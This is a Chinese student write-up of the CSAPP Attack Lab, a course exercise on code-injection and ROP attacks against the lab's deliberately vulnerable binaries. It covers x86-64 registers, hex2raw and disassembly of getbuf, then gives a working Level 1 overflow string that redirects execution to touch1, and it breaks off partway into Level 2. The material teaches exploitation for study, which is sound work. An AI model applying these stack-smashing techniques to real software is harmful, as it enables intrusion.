Attack Lab 缓冲区溢出攻击实验
这是CSAPP课程的第三个Lab。
实验准备
实验介绍
-
简介
-
本次实验涉及对两个具有不同安全漏洞的程序进行五次攻击,攻击方式分为两种
Code injection
代码注入和Reeturn-oriented programming
(ROP)面向返回编程。 目的
-
1、深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可以利用安全漏洞的方法。
2、更好地了解如何编写更安全的程序,以及编译器和操作系统提供一些帮助,以减少程序的易受攻击性。
3、深入了解x86-64机器代码的堆栈和参数传递机制。
4、深入了解x86-64指令的编码方式。
5、熟练使用gdb和objdump等调试工具。
实验说明
-
文件说明
-
ctarget
:一个容易遭受code injection攻击的可执行程序。
rtarget
:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt
:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c
:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw
:一个生成攻击字符串的工具。
整个Lab的大致流程就是,输入一个字符串,然后利用stack
的buffer overflow,去修改stack中的数据,进而改变程序的运行,达成我们的攻击目的。具体地,是要通过反汇编上述文件通过文件中test()
函数去调用getbuf()
函数这个入口,来完成对stack某些部分的覆盖,利用两种攻击程序的技术,让程序调用我们希望调用的touch
函数。
-
X68-64寄存器和堆栈
-
X86-64有16个64位寄存器
1、%rax
作为函数返回值使用。
2、%rsp
栈指针寄存器,指向栈顶。
3、%rdi
,%rsi
,%rdx
,%rcx
,%r8
,%r9
用作函数参数,依次对应第1参数,第2参数……
4、%rbx
,%rbp
,%r12
,%r13
,%14
,%15
用作数据存储,遵循被调用者使用规则。
5、%r10
,%r11
用作数据存储,遵循调用者使用规则。 辅助工具说明
-
hex2raw
:要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用 小端法字节序。(将输入的十六进制字符转换为相应ASCII码)
./hex2raw <attack.txt> attackraw.txt
详细实验介绍和实验步骤可以查看WriteUp,强烈推荐实验前先看一下。
PART 1 : Code Injection Attacks
代码注入攻击:通过使缓冲区溢出,注入攻击代码。
ctarget
文件将执行test
函数,实验·任务是在执行完getbuf
函数后,程序不继续执行test
函数,而是执行touch
函数。
在前三个阶段,因为程序的设置方式使堆栈位置在每次运行时保持一致,因此堆栈上的数据可以作为可执行代码处理。这些特性使程序容易受到攻击,攻击字符串包含可执行代码的字节编码。
通过objdump -d ctarget > ctarget.txt
反汇编得到相应的汇编程序,根据汇编程序来完成试验任务。
void test()
{
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
Level 1
使getbuf
返回时,执行touch1
而不是返回test
。
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
这一阶段不需要注入新的代码,只需要用攻击字符串覆盖getbuf
的返回值,即使getbuf
结尾处的ret指令
将控制转移到touch1
。
getbuf
汇编代码
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90
- 从第一句指令
sub $0x28,%rsp
可以得出getbuf
创建的缓冲区大小为0x28
字节。
0000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
touch1
函数的起始地址为0x4017c0
。getbuf
在栈中分配了40个字节的内存来存储输入数据。在执行ret
指令后,从%rsp+40
处获得返回地址,因此我们需要来利用缓冲区溢出覆盖掉其返回地址,就可以将返回地址修改为touch1
的起始地址,即将输入的第40-47个字符写为touch1
函数的起始地址。- 攻击字符串
level1.txt
:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上字符是填充满整个缓冲区(40字节)从而溢出
c0 17 40 00 00 00 00 00
//用函数touch1的起始地址覆盖原先的返回地址
这里注意小端法保存
- 调用
hex2raw
生成攻击字符串,并攻击ctarget
。
Level 2
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
使getbuf
返回时,执行touch2
而不是返回test
,并且让touch2
以为其接受的输入参数是cookie
,即0x59b997fa
。
- 汇编代码
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie&